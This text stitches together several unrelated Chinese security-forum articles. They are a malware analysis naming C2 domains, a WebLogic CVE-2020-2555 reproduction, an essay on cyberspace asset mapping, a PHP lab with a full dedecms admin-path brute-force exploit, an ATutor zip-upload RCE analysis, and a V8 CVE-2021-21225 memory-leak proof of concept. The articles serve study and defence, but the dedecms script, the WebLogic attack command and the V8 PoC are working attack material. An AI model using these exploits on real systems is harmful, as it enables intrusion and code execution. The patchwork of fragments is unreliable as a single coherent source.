#### 线程234：
第二、三、四线程功能基本相同，区别是连接的地址不同。
就拿线程2来说：
该线程首先与sbcq.f3322.org控制端进行网络连接，如果连接成功继续往下，不然就返回。然后初始化socket套接字。
sub_4060F0()函数当中获取了一些系统内存cpu等信息，
之后又加载了hra33.dll，将收集到的系统相关信息发送到控制端，等待接收控制端发来的指令，当接收的数据>6时才开始进行swtich…case中进行匹配。
指令 > 6时：
当指令为0x10时，会从网络上下载恶意代码到临时的文件然后执行它。
当指令为0x12：
打开互斥体，防止多开带来的检测风险。根据系统时间随机生成文件名，初始化一些信息，设置优先级，更新病毒，如果下载成功就删除服务，注册表以及自身的程序。执行新的程序，退出本身。
当指令为0x14：
打开IE浏览器并弹框。
当指令 < 0x6时：
指令等于0x6：
和0x12执行一致，打开互斥体，防止多开带来的检测风险。根据系统时间随机生成文件名，初始化一些信息，设置优先级，更新病毒，如果下载成功就删除服务，注册表以及自身的程序。执行新的程序，退出本身。
当指令为0x2：
进行初始化socket
当指令为0x3：
sub_403280函数，里面仍然会做一些判断，继续分析各个函数，会发现这是一个发包的函数。
GET数据请求头：
GET请求数据包：
指令为0x4：
仍旧是初始化socket。
至此线程2分析结束。
总结一下，它获取系统信息，cpu信息，内存信息，将这些信息发往控制端，通过控制端发来的指令类型执行不同的操作。
第二个远程连接服务器地址sbcq.f3322.org
第三个远程连接服务器地址www.520123.xyz
第四个远程连接服务器地址被加密，"1NTUHRYRExYRExYREx3c0eQJChcRFUM="，解密后是www.520520520.org:9426
接着来分析分析劫持lpk.dll的hra33.dll。
#### hra33.dll：
Dllmain函数中分析，获取模块名字后判断病毒文件是否存在，如果存在，就在同目录下将内存数据写入到.TMP临时文件，并创建一个胡互斥体，检测同目录下是否存在lpk.dll，如果存在，加载lpk.dll到zip，rar文件，并且同目录下创建exe。如果没有被加载就释放dll文件。之后获取原lpk.dll，将其替换为自己的lpk.dll，实现lpk劫持。
sub_1000142B()当中是添加压缩包的操作：
利用rar的shell命令进行操作，先检查同路径有没有lpk.dll，如果没有，就以最大速度解压文件，将lpk.dll添加到文件夹中，然后再重新压缩文件，最后删除临时文件。
以上，就是hra33.dll当中的操作。
# 总结
手工查杀步骤或是工具查杀步骤或是查杀思路等。
1、使用PcHumter结束病毒程序
2、删除HKEY_LOCAL_MACHINE\system\CurrentControlset\services\Ghijkl Nopqrstu
Wxy下注册表键；
3、结束服务：Ghijkl Nopqrstu Wxy，删除服务对应的exe文件。
4、删除C:\windows\system32\hra33.dll文件；
5、删除生成的lpk.dll文件。 | 社区文章 |
**0x00:漏洞简介** ：
该洞主要针对weblogic的coherence.jar中存在能够实现反序列化gadget构造的类，并且经过T3协议接收的数据经过反序列化处理后将导致漏洞的产生。
漏洞影响：
Oracle weblogic 12.1.3.0.0
Oracle weblogic 12.2.1.1.0
Oracle weblogic 12.2.1.2.0
Oracle weblogic 12.2.1.3.0
Oracle weblogic 12.2.1.4.0
**0x01:漏洞分析**
：主要问题出现在LimitFilter类导致反序列化的安全问题。这个漏洞存在于一个Java方法中，攻击者将能够通过受控参数来调用该方法。
漏洞的gadget如下：
那么我将进行简单的分析：
反序列化入口（source）：BadAttributeValueExpException.readObject()函数，这个在看大佬poc和ysoserial工具源码发现大多数poc也是以BadAttributeValueExpException触发的。
接下来在coherence.jar包的coherence/lib/coherence.jar/com/tangosol/util/filter/LimitFilter分析LimitFilter的代码发现在toString方法内部调用了ValueExtractor的extract
方法（） 且m_oAnchorBottom是可控的。
之后发现Oracle
Coherence库中提供了这样一个类，即ChainedExtractor，而这个类允许我们串联针对extract()方法的调用：coherence.jar包的coherence/lib/coherence.jar/com/tangosol/util/extractor/ChainedExtractor.class中如图。
而我们知道一般在挖掘发序列化的过程中除了要找到反序列化入口（source），还要触发漏洞的目标方法（sink）。
Method.invoke，这种需要适当地选择方法和参数，通过反射执行Java方法将runtime对象赋值给m_oAnchorTop,触发limitfilter中toString方法中的extractor函数从而执行命令。
**0x03:漏洞复现**
环境搭建：
实验环境：
weblogic :12.2.1.4.0
JDK 1.8.0_261
**weblogic环境搭建：**
1.首先需要java环境这里我安装的是JDK8
2.这里我下载的是weblogic12.1.4.0
<https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html（ps：本来先下载的12.1.3.0.0但怎么都无法执行命令，试了换很多版本jdk也没有用）>
3.安装方式：java -jar fmw_12.1.4.0.0_wls.jar，就可以执行安装。
下载下来是个fmw_12.2.1.4.0_wls_lite_Disk1_1of1，解压后安装方式：java -jar
fmw_12.1.4.0.0_wls.jar，就可以执行安装。
4.启动Weblogic安装界面。
5.安装完成就可以登录了
**漏洞攻击复现：**
POC：<https://github.com/Y4er/CVE-2020-2555>
1.首先下载下来之后通过IDEA打开CVE-2020-2555\src\com\supeream\CVE_2020_2555.java
2.运行idea生成.ser文件（项目自带的文件为攻击系统为linux时用的所以要重新编译）
3.之后运行py -2 weblogic_t3.py 服务器ip 7001 test1.ser 弹出计算器 攻击执行成功。 | 社区文章 |
**作者：风起**
## 空间测绘技术思想
**网络空间测绘是2016年出现的一个概念，主要指用一些技术方法，来探测全球互联网空间上的节点分布情况和网络关系索引，构建全球互联网图谱的一种方法。【百度百科】**
测绘实际上是一个地理信息相关的专业学科，针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络空间
，发现未知、脆弱的资产也是如此，更像是一张网络空间地图，用来全面描述和展示网络空间资产、网络空间各要素及要素之间关系，以及网络空间和现实空间的映射关系。
**应用场景：**
* 企业内遗忘的，孤立的资产进行识别并加入安全管理。
* 企业外部暴露资产进行快速排查，统计。
* 红蓝对抗相关需求使用，对捕获IP进行批量检查。
* 批量收集脆弱资产(0day/1day) 影响内的设备、终端。
* 新型网络犯罪涉案站点信息进行快速收集，合并，进行更高效的研判、分析。
* 对互联网上受相关漏洞影响的脆弱资产，进行统计、复现。
**3W问题（“What？Where？Who？”）是网络空间测绘要解决的基本问题。** 从字面意思来看也就是 **是什么，在那里，谁的？**
而应用于红队，目前各级护网对于资产归属的划分其实比较严格，例如资产属于总集团还是二级单位或者子公司，是否与集团内网互通？都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集，资产的所属单位以及相关的网络信息，例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。
当然，无论是红队攻防还是线索追溯亦或者是安全运营，首先确定的都应该是目标的归属问题，如果不是相关目标或者自己的资产时，那么后续的工作开展都是没有意义的，所以在进行空间测绘的使用时首先需要做的就是确定目标的归属问题，继而考虑资产所处的位置以及什么的问题。
在了解了3W的问题后，我们继续引出网络空间测绘的三大概念： **行为测绘、动态测绘、交叉测绘** 。
## 行为测绘
**不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。**
目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的，很显然这个充分利用了人类“懒惰“的这个性格引起的通用默认配置的”行为“进行测绘的，但是也就忽视那些进行自定义的配置的目标，而这些目标是本文要阐述的主要对象。
在这些自定义过程中不同的群体又可能表现出不一样的独有特征，我们利用这些行为特征进行网络空间测绘，这就是所谓的“ **行为测绘**
”了。通过实践经验“行为测绘”在威胁情报领域、国家基础设施测绘、APT/botnet/黑产等组织测绘上有巨大应用空间及震撼的效果。【SuperHei语录】
**P.S.或许他更喜欢叫黑格尔一点23333**
这里我们也可以把行为理解为特征，而如何提取这些特征，进行更加精准的匹配无疑也成为了最重要的环节之一。
在针对某一目标的关联中，如果目标站点使用了HTTPS协议，那么我们就可以通过提取证书 **Serial Number、Subject**
等字段值进行关联资产，值得注意的是在SSL证书信息中，往往有着一些惊喜，例如可以查找CDN后的真实IP，或者在拿到了某个IP后证明其归属，识别其DNS服务器、相关域名等等。
**举个场景案例，例如我们在挖掘SRC找到了一个边缘资产并且仅有一个IP，这时如何证明其资产的归属，就不妨可以在证书信息中找找看，往往Subject字段中就有域名的相关线索。**
或像常见的SSL证书匹配方式将证书序列号进行HEX编码，通过搜索引擎的相关语法( **cert/ssl** )进行匹配的方式均可以。
而这里的行为，更多时候体现在banner信息，例如前端代码，服务连接交互信息、SSL证书信息等等。
这里以Log4j2 RCE影响的 _Apache_ _CAS_ 主机举例。
通过比对不同 _Apache_ CAS站点，寻找共同的特征，提取'' 这段代码。
发现共匹配到了16155条结果，除去CAS关键词的特征，通过尝试攻击Log4j2也可以进行验证，但是仅通过一段代码，仍然可能存在误报的概率，于是我们继续寻找共同特征，也就是框架的特征。
在上面提取的代码段的基础上继续提取特征，做且运算逻辑，最终构造的Apache CAS指纹为：
'<body id="cas">'+'<section class="row">' +'<meta charset="UTF-8"/>'
也就是说其前端代码中应符合同时存在上述三段代码才能进行匹配，发现这次共匹配到了6248条，数量的减少，随着我们指纹关联的条件增多，精准度也会提高，使我们得到的结果更加趋近于真实。关于指纹概念会在下面进行详细的讲解，利用截取代码段或者其注释的方式，在关联目标使用的相同框架的站点时有着很好的效果。
除了一些基本特征，我们还可以通过一些 **“有趣”** 的指纹来进行检索
如上图，相信大家懂得都懂，在我们查找CDN后的真实IP时，可以通过nmap扫描目标的ssh-hostkey并提取进行匹配，因为无论套多少层CDN，他连接ssh时的ssh-hostkey都不会改变，所以我们可以通过这个指纹检索就有可能找到其真实的IP地址，当然这样的思路仅做抛砖引玉。
网站上的favicon图标也可以作为目标组织的行为之一，在HW或者关联菠菜站点时往往有着意想不到的效果，但是需要注意的是，针对利用favicon计算hash关联团伙的方式，可能存在着一定的不准确性，如果说证书、前端提取代码这些方式可以让我们很准确的定位到目标，那么在全网中有人拿别人的favicon图标作为自己网站的图标，公网扫描时就有可能出现误报，扫出的ico图标hash是相同的。不过，无聊用别人图标的总归是少数，也并不常见，仅仅是有这种可能罢了，所以大家需要注意，追溯线索有时并没有定式，并不是通过什么方法就一定准确无误，依旧是需要证实举证的。
## 动态测绘
**对于动态测绘的概念，简单理解就是数据订阅**
，这里可以通过指纹语句订阅或者IP订阅，周期性对某个资产面进行扫描，从而使我们能够动态掌握周期内新增资产的情况，而动态测绘往往应用于企业安全管理或者反诈工作中。在企业安全中，通过动态测绘发现新上线的业务系统，并及时加入安全管理中。因为对于一些较为成熟的业务系统来讲，不会频繁对站点对外服务进行更改，一般只会修改发布内容等，所以当其站点上线新的服务时都是值得注意的。
往往攻防双方对弈比拼的就是信息收集，谁收集的资产面多就有着决定性的作用，一些 **孤立、边缘化**
的资产企业上线后没有及时加入安全防护而被攻击者发现，就面临着沦陷的可能，同样红队在攻击时，在技术水平相差不大的时候，往往收集的资产就是决定是否攻破目标的关键。
应用于反诈工作中，可以通过动态测绘持续对目标团伙的相关资产进行关注，做线索。往往面对使用相同框架，仅改变网站内容进行快速转移服务器的目标可以进行紧紧追踪。通过动态测绘观测到的每日新增资产，进行判断该团伙下一步准备实施犯罪的主要站点及其意图。
值得一提的是，ZoomEye上线了一个很具有意义的功能，就是在公网测绘中，支持了数据更新功能，使我们可以随时更新需要扫描的目标。需要注意所有空间测绘平台本质都是通过探测节点全天候对全网资产进行扫描行为，而扫描是有一定的时间周期，数据更新功能则不需要像以往被动等待探测节点扫描到我们的目标。
当扫描结束后，会发送一封邮件到我们的邮箱，并且更新的数据在kunyu中可以快速同步。
## 交叉测绘
那就是 **IPv4 与 IPv6的 “交叉”**
。随着国家对IPv6的改造规定必然加快IPv6的普及，就当前局势，IPV6在逐渐普及，但是之所以在交叉测绘这里提及IPV6，就是因为，与我们密切相关的安全层面，往往出现在IPV4及IPV6的
**配置错误**
上，例如企业在部署安全措施时，对其IPV4打满了防护，但是IPV6却是白板，那么这时如果攻击者通过IPV6进行攻击，那么无疑是一马平川的，这也是很多企业在进行安全管理中没有想到的问题。往往就会导致出现大问题，所以站在攻击者的角度来看待，我认为不妨可以交叉看待问题。域名与IPV4、IPV4及IPV6的、暗网与IPv4。。。。无论是溯源还是攻击本着交叉思想看待数据，挖掘隐蔽线索都是十分重要的。
而这些结果我们发现其具有共同特征为，Nginx服务器、均为302跳转，时间相近，均为HTTPS协议等，这也是其目标团伙在此所表现的特征，也能间接印证我们关联的资产没错。准与不准的问题，往往就是体现于此，就好比如果两张照片里的人没有丝毫相像，不具有相同点，那么大概率他们是没有关系的。
## 网络测绘指纹的概念
在网络测绘中，指纹的概念是比较有趣的，与传统刑事侦查技术其广义思想是重叠的，例如我们做人物画像，针对某个人的外貌体态进行描述，例如我们已知目标是大眼睛、高鼻梁、身材消瘦、身高180cm.....这些是目标的外在特征，但是针对这样的特征是具有一定的模糊性的，因为站在整个世界的角度来看，同样符合这些特征的人依旧比比皆是，但是这些依旧是我们侦察目标的特点，所以继而我们要引入一些更加
**"精准"** 、 **“特异”** 、 **"不可更改"** 的特征，可以直接决定性的指向某个人或团伙的资产范围。那么什么是可以决定性指向的特征呢？
**身份证、银行卡、手机号、DNA信息、瞳孔识别** 等等，既要精准的区分目标资产又要具有特异性，不可以被轻易修改的特点。
* 认知
* 特征
* 指纹
对于指纹概念，提出了以上三点，首先应该从认知出发，这里所说的认知也就是研判人员在分析时认为哪些特征是有用的，不同的人看待问题的方式、角度均是不同的，所以从认知出发看待事件本质，找出其符合我们所理解的
**"精准"** 、 **“特异”** 、 **"不可更改"**
要素，进行组合，从而构建指纹。当然这里的特征通常并不会只有一个，哪怕是传统刑侦，面对目标手指纹也需要多个指纹进行比对，同样放在网络资产测绘中，我们需要尽可能多的去找某个组织所具有的共同特征进行组合，只符合单个特征并不足以说明问题，往往针对我们之前收集的情报符合多个特征，那么就具有可疑性了。
往往在溯源的过程中，情报并不是使用什么产品或者技术能够直接获得的，而是通过多个维度获得的线索相互印证、推导而来的，所以在整个溯源体系中，我认为研判人员对于技术的认知是至关重要的。这也是我开头讲到的从认知出发，寻找目标特征，构建指纹从而高效研判这样的一个过程。
举例在exploit-db找到了一个Telnet未授权RCE的POC。
根据箭头所指，提取了一处特征，指纹特征为：goke
login:，进行匹配可以看到结果为423条，通过protocol和Service，Port这些字段所表现出来的特征都极为相似，准与不准往往体现于此。
继续增加一个条件，要求目标端口为23，发现匹配出的条数为422条，发现条数减少了，说明在刚才第一次匹配中，有一些结果的端口并不是23端口，应该是被认为修改过的。这也说明随着条件的增加匹配的精准度也是随之提高，根据研判人员对于指纹概念的认知不同，构建指纹指向目标的精准度和关联程度都不尽相同。
当然，在能够关联匹配到目标的指纹以外，我们还可以增加其他的符合我们要求的条件，例如我们可以限制输出结果扫描到的时间、地域国家、城市等等。
**指纹是建立在研判人员对于规则概念的理解之上的！**
**Kunyu Donwload:** [Kunyu（坤舆）更高效的企业资产收集](https://github.com/knownsec/Kunyu/)
## 后记
**我们应赋予数据以灵魂，而不仅仅只是认识数据，能用它做什么事儿，达到什么效果，取决于解决方案的认知高低**
感谢大家的支持，现在已经2022年了，回想第一次出门闯荡的场景至今还历历在目，今年我也已经20岁了，渐渐的年纪已经不是我的优势。回想这一路走来还是挺感慨的，对于野路子出身，那时的我能够坚持下来大概就是有着一股不服输的劲头吧。虽然现在也不是什么大佬，但是每天都比昨天进步一点，每年都比去年更上一层对于我而讲算是最大的慰籍了，让我时刻明白，自己仍是在这条路上向前走着。
新的一年，希望所想之事皆能如愿，所做之事皆有所获。
**最后祝大家心想事成，美梦成真，想要交流安全技术的可以扫描以下二维码添加微信。**
## Community
## 参考链接
<https://github.com/knownsec/Kunyu>
<https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA>
<https://mp.weixin.qq.com/s/QTyfHbcnoMYoVUXhcbCYCw>
* * * | 社区文章 |
PHP是以C语言为底层语言的通用开源脚本语言，支持几乎所有流行的数据库以及操作系统，执行效率比完全生成HTML标记的CGI要高许多，主要适用于Web开发领域。最重要的是PHP可以用C、C++进行程序的扩展！
所有文件操作函数都属于敏感函数，当此类函数使用不当或者不安全引用，就会导致业务逻辑上出现问题，会导致诸多安全隐患的发生，例如：任意文件下载、任意文件写入、任意文件删除等漏洞。
以下给大家生动地讲解了文件判断函数getimagesiz可能造成的问题，并引用dedecms目录猜解实例，讲述PHP在不安全的情况下引用此类函数时造成的危害。
希望老铁们通过这一波操作，了解漏洞形成原理和类似文件判断函数带来的风险，在实验环境里亲自体验一把更带感哦，跟我来开启吧！>>>>>[文件函数实验传送门](https://www.ichunqiu.com/course/61375?from=xz
"文件函数实验传送门")
#### 1、动手实验的目标：
认识常见的PHP函数
了解PHP文件判断函数风险
了解文件操作可能带来的业务逻辑漏洞
#### 2、所需工具：
Hackbar:
Hackbar是Firefox火狐浏览器中的插件,该工具栏将帮助您测试sql注入，XSS漏洞和网站安全性。其主是帮助开发人员对他的代码进行安全审计。能够快速对字符串进行各种编码。
#### 3、实战操作内容：
本内容主要介绍PHP部分函数,当在Windows上使用PHP时会调用一个FindFirstFileExW()的底层Windows API函数时会存在一些特性
讲解其中一部分函数不安全使用时带来的漏洞,还将结合使用一个dedecms实例，利用PHP在Windows上的特性找到其后台，以方便我们深入理解这些函数可能会带来的危害。
PHP语言某些函数就在Windows系统上拥有了如下奇妙的特性：
大于号(>)相等于通配符问号(?)
小于号(<)相当于通配符星号(*)
双引号(")相当于点字符(.)
这个特性很早之前就已经被国外的安全研人员发现
在PHP的getimagesize方法中就存在这个特性。
在PHP源码php-src\ext\standard\image.c中有该方法的具体定义：
/* {{{ proto array getimagesize(string imagefile [, array info])
Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
在getimagesize方法中调用了php_getimagesize_from_any方法,若使用动态调试来简化整个分析过程，逐层追踪后可发现
getimagesize调用顺序如下：
PHP_FUNCTION(getimagesize)
php_getimagesize_from_any
...
tsrm_realpath_r
FindFirstFileExW
本实验动态调试不做重点说明，详细过程请参考以下链接: <https://xianzhi.aliyun.com/forum/topic/2004>
最终可以看见PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW()
事实上，由于PHP在语言层面并没有过滤、禁止对<、>这些特殊字符的使用，除getimagesize 函数外，任何调用该Windows
API方法的文件判断函数都可能存在以上问题
#### 4、实验内容：
本实验我们将用一个调用了这个winapi的具体实例getimagesize函数讲解，PHP的函数在调用了这个底层winapi的方法时会存在的问题。
还将引用dedecms作为一个高级实例，当不安全引用同样使用该底层winapi的方法的getimagesize这个函数会存在的安全风险。
##### 步骤1 ——本地验证getimagesize()函数
使用我们实验中搜索工具Everything,找到我们的phpstudy安装环境。安装PHP环境
安装完成之后我们在C:\phpStudy\www目录下新建一个test.php文件验证getimagesize函数的特性，这个路径根据phpStudy安装路径有关，请根据实际情况而定。
接下来我们在C:\phpStudy\www新建一个目录asdasdasd目录下
test.php代码如下：
<?php
$a = $_GET['img'];
exec('pause');
if(@getimagesize($a)){
echo "ok";
}else{
echo "no";
}
?>
准备完成之后，接下来我们访问一下test.php
访问地址<http://127.0.0.1/test.php?img=C:\phpStudy\www\a><\1.png
页面返回ok,可见正常路径中原本应该是asdasdasd的目录名，被我们使用a<代替,getimagesize利用该特性成功加载图片文件。
##### 步骤2 —— dedecms后台地址猜解
下面这个例子我们可以使用本节实验中提供的脚本获取到dedecms的后台地址
这个漏洞发生在getimagesize函数中，而PHP的getimagesize方法最终也是调用了前文中讲到的Windows
API里的FindFirstFileExW()，上文中也说明了这里Windows上又对<、>、"三个字被赋予了不同的含义。
正是这个原因导致了dedecms的后台可被爆破
到这里我们还是先看看漏洞的触发条件
在dedecms中的uploadsafe.inc.php中的核心代码如下
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
此处uploadsafe.inc.php中直接调用了getimagesize方法获取文件的size，获取不到说明不是图片或者图片不存在，不存就exit
upload…. ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
此时在dedecms的tags.php中加载了common.inc.php文件
在common.inc.php大概148行左右加载了uploadsafe.inc.php
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
到此我们可以得到文件引用关系为:
tags.php -> common.inc.php -> uploadsafe.inc.php -> getimagesize()
##### EXP分析与利用
在实验环境中会提供我们在互联网上收集的exp访问我们的工具库<http://tools.ichunqiu.com/y688t6z4下载>
我们现在把exp中的主要代码分段讲解一下：
if($path) {
while(($path = my_func($url, $path))) {
echo strtolower($path) . "\r\n";
}
}
else {
for($i = 48; $i <= 90; $i++) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
$path = my_func($url, chr($i));
while($path) {
echo strtolower($path) . "\r\n";
$path = my_func($url, $path);
}
}
}
}
这里的if((48 <= $i && $i <= 57) or (65 <= $i && $i <=
90))这段代码可以参考ascii码表就可以理解数字具体含义
就是把所有的目录可能会出现的情况0-9 、 a-z,按位带入程序中去穷举匹配
下面的代码是整个exp的核心部分
function my_func($url, $path = '') {
$ch = curl_init($url);
$i = 48;
global $version;
while($i <= 90) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
if($version != '5.7') {
/* v5.6版本及其以下 */
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
}
else {
/* v5.7版本 */
$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
}
$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';
$options = array(
CURLOPT_USERAGENT => 'Firefox/58.0',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
);
curl_setopt_array($ch, $options);
$response = curl_exec($ch);
if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
$path = $path . chr($i);
return $path;
}
}
$i++;
}
这个exp就是利用了dedecms在设计时的一个小缺陷，当某个目录中存在一个图片文件时，程序会返回正确，当不存在时程序会抛出异常,提示Upload
filetype not allow !。
此时在dedecms的前台中可以直接调用getimagesize()方法，这时候我们选取了dedecms的后台目录中的一个已知图片admin_top_logo.gif配合我们进行猜解。具体参见下列代码：
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
这样就可以我们前面讲到的通配符<，来进行匹配后台地址，对后台地址逐位穷举，这就是我们这个exp的中心思想。
具体操作如下：
将我们下载的exp.php,放入PHP安装目录中，这里我们放入c:\phpStudy\php53下，这个路径根据phpStudy安装路径和选择的PHP版本有关，请根据实际情况而定。
成功猜解出后台地址。
##### 实验结果分析与总结：
问题的产生的根本原因PHP调用了Windows API里的FindFirstFileExW()/FindFirstFile()方法
该Windows API方法对于这个三个字符做了特殊的处理
感兴趣的同学还可以根据我们实验的思路发现其他的使用方法及漏洞。
##### 几点思考：
PHP还有哪些函数在调用Windows API时会存在新的特性吗？
其他调用这个Windows API的语言会出现这个特性吗？
参考地址：
<http://wps2015.org/drops/drops/PHP%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF+%E5%AE%9E%E4%BE%8B.html>
<http://www.cnblogs.com/yxhblogs/p/5839800.html>
<https://xianzhi.aliyun.com/forum/topic/2064>
<https://xianzhi.aliyun.com/forum/topic/2004> | 社区文章 |
## 漏洞介绍
ATutor是ATutor团队的一套开源的基于Web的学习内容管理系统（LCMS）。该系统包括教学内容管理、论坛、聊天室等模块。Atutor与Claroline、
Moddle及Sakai号称为四大开源课程管理系统。
ATutor2.2.4语言导入功能处存在一处安全漏洞(CVE-2019-12169)。攻击者可利用该漏洞进行远程代码执行攻击。
经过分析发现，除了CVE-2019-1216所报道的语言导入功能外，ATutor在其他功能模块中也大量存在着相似的漏洞，本文会在后面针对这一点进行介绍。
## 漏洞分析
据漏洞披露可知，漏洞触发点存在于mods/_core/languages/language_import.php文件中
首先跟入language_import.php文件
从language_import.php文件中35行起，可以发现关于文件上传相关代码
从上图红框中代码可知，此处代码块是对文件上传情况进行校验
在文件成功上传后，进入下一个if分支
在这个分支里，程序将调用\$languageManager->import方法对文件进行处理
继续跟入import方法
在import方法中，首先确认了用来保存上传文件的路径\$import_path
接着调用PclZip对压缩包进行处理。
为了更好的理解程序执行流程，我们动态调试一下
首先我们构造一个poc.php
将这个poc.php打包为poc.zip
访问如下链接以进入上传页面
<http://target/ATutor/mods/_core/languages/language_import.php>
在上传语言包页面中选择构造好的poc.zip并点击import按钮上传
请求发送给后台服务器，程序执行进入断点
此时的\$import_path值为atutor应用的/content/import路径：”content/import/”
程序调用PclZip的extract方法对压缩包进行解压
PclZip是一个强大的压缩与解压缩zip文件的PHP类，PclZip
library不仅能够压缩与解压缩Zip格式的文件；还能解压缩文档中的内容，同时也可以对现有的ZIP包进行添加或删除文件。
我们再来看下import方法中是如何使用PclZip的
程序创建了上传的zip压缩包的一个PclZip对象进行操作与控制，在解压过程中使用了extract方法。该方法中第一个参数是设置项，第二个是对应设置项的值
我们来看下PCLZIP_OPT_PATH设置项的作用
可见，PCLZIP_OPT_PATH设置项指定我们上传的zip文件解压目录为\$import_path参数对应的路径
解压成功后，poc.zip中内容出现在对应文件夹中
查看poc.php中的值，可以发现poc上传成功
访问如下地址，触发poc
除此之外，该应用几乎所有import接口，在后台都采用PclZip将上传的zip解压到对应目录中。然而这些操作无一例外的未对压缩包中的文件进行校验
下面举几个例子：
位于mods/_core/themes/import.php文件中的主题导入功能
代码如下:
可以发现，这里也使用了extract方法将上传文件进行解压
来看一下导入主题功能对应的前端页面
这里页面与导入语音包的页面极其相似，只不过最终解压后存放的路径不同，不再是content/import/，而是themes/
在此处上传构造好的poc.zip，最终poc.php将会被解压到themes文件夹中
位于/mods/_standard/tests/question_import.php文件的问题导入功能
位于mods/_standard/patcher/index_admin.php文件的补丁导入功能
这些功能无一例外的存在着相似的漏洞
## 总结
针对单一文件上传，大多数Web应用都会进行严格的文件类型检测，但是涉及到压缩包上传，很多应用都不会检测压缩包中的内容，直接将压缩包中内容解压到对应目录中，这样就会导致了这类漏洞的产生。
欢迎访问我的博客：[熊本熊本熊](http://kumamon.fun/) | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2022年03月16日**
**相关阅读：
[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")
[从 0 开始学 V8 漏洞利用之 V8 通用利用链（二）](https://paper.seebug.org/1821/ "从 0 开始学 V8
漏洞利用之 V8 通用利用链（二）")
[从 0 开始学 V8 漏洞利用之 starctf 2019 OOB（三）](https://paper.seebug.org/1822/ "从 0 开始学
V8 漏洞利用之 starctf 2019 OOB（三）")
[从 0 开始学 V8 漏洞利用之 CVE-2020-6507（四）](https://paper.seebug.org/1823/ "从 0 开始学 V8
漏洞利用之 CVE-2020-6507（四）")
[从0开始学 V8 漏洞利用之 CVE-2021-30632（五）](https://paper.seebug.org/1824/ "从0开始学 V8
漏洞利用之 CVE-2021-30632（五）")
[从 0 开始学 V8 漏洞利用之 CVE-2021-38001（六）](https://paper.seebug.org/1825/ "从 0 开始学
V8 漏洞利用之 CVE-2021-38001（六）")
[从 0 开始学 V8 漏洞利用之 CVE-2021-30517（七）](https://paper.seebug.org/1826/ "从 0 开始学
V8 漏洞利用之 CVE-2021-30517（七）")
[从 0 开始学 V8 漏洞利用之 CVE-2021-21220（八）](https://paper.seebug.org/1850/ "从 0 开始学
V8 漏洞利用之 CVE-2021-21220（八）")**
第七个研究的是`CVE-2021-21225`，其chrome的bug编号为：1195977
受影响的Chrome最高版本为：`90.0.4430.72` 受影响的V8最高版本为：`9.0.257.17`
在chrome的bugs中也有该漏洞的exp和poc。
# 搭建环境
一键编译相关环境：
$ ./build.sh 9.0.257.17
# 漏洞分析
本次分析的漏洞，和之前研究过的有很大的不同，PoC如下：
class Leaky extends Float64Array {}
let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}
var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) {
print(c[i]);
}
其中`gc`函数需要运行d8的时候加上`--expose-gc`参数，才能调用。
该PoC的效果很明显，是内存泄漏，在变量w后再定义其他变量，比如`var c = [1.1,2.2]`，那么可以把变量c的信息给泄漏出来。
发现该漏洞的研究人员也写了相关的paper：
1. <https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018>
2. <https://tiszka.com/blog/CVE_2021_21225_exploit.html>
漏洞出现在`concat`函数上，而且也不是新类型的漏洞，`concat`函数之前的漏洞编号为：`CVE-2016-1646`和`CVE-2017-5030`，详细的可以去看上面的第一篇文章。
这里就说说我编写exp的过程，现有的exp已经可以泄漏变量信息了，但是还不够，要想rce，还得需要能控制变量的map，上面PoC的效果只是把变量w当成长度为1000的数组，然后赋值给变量c，在正常的程序中，变量w的长度已经被我们改成1了，所以根本没法修改后续值，只有concat函数认为变量w的长度为1000。而修改变量c的值，也根本影响不到其他变量，因为变量c本身就是长度为1000的合法变量。
在上面的第二篇文章中，提供了这么一种方案：
1. 在上述的PoC中，数组w的所有元素都被1.1填充了，所以w的map为`PACKED_DOUBLE_ELEMENTS`类型。
2. 如果我们把变量w的map改为`HOLEY_ELEMENTS`类型，那么`concat`函数在操作的时候，会把w的元素都当成Object处理。
3. 这样，我们在变量w后面再定义一个变量: `padding_obj = new Uint32Array(10);`，该变量填充进我们可控的内存地址，这样就可以构建一个fake_obj。
4. 有了fake_obj以后，就能任意读写了，就可以按照套路来写exp了。
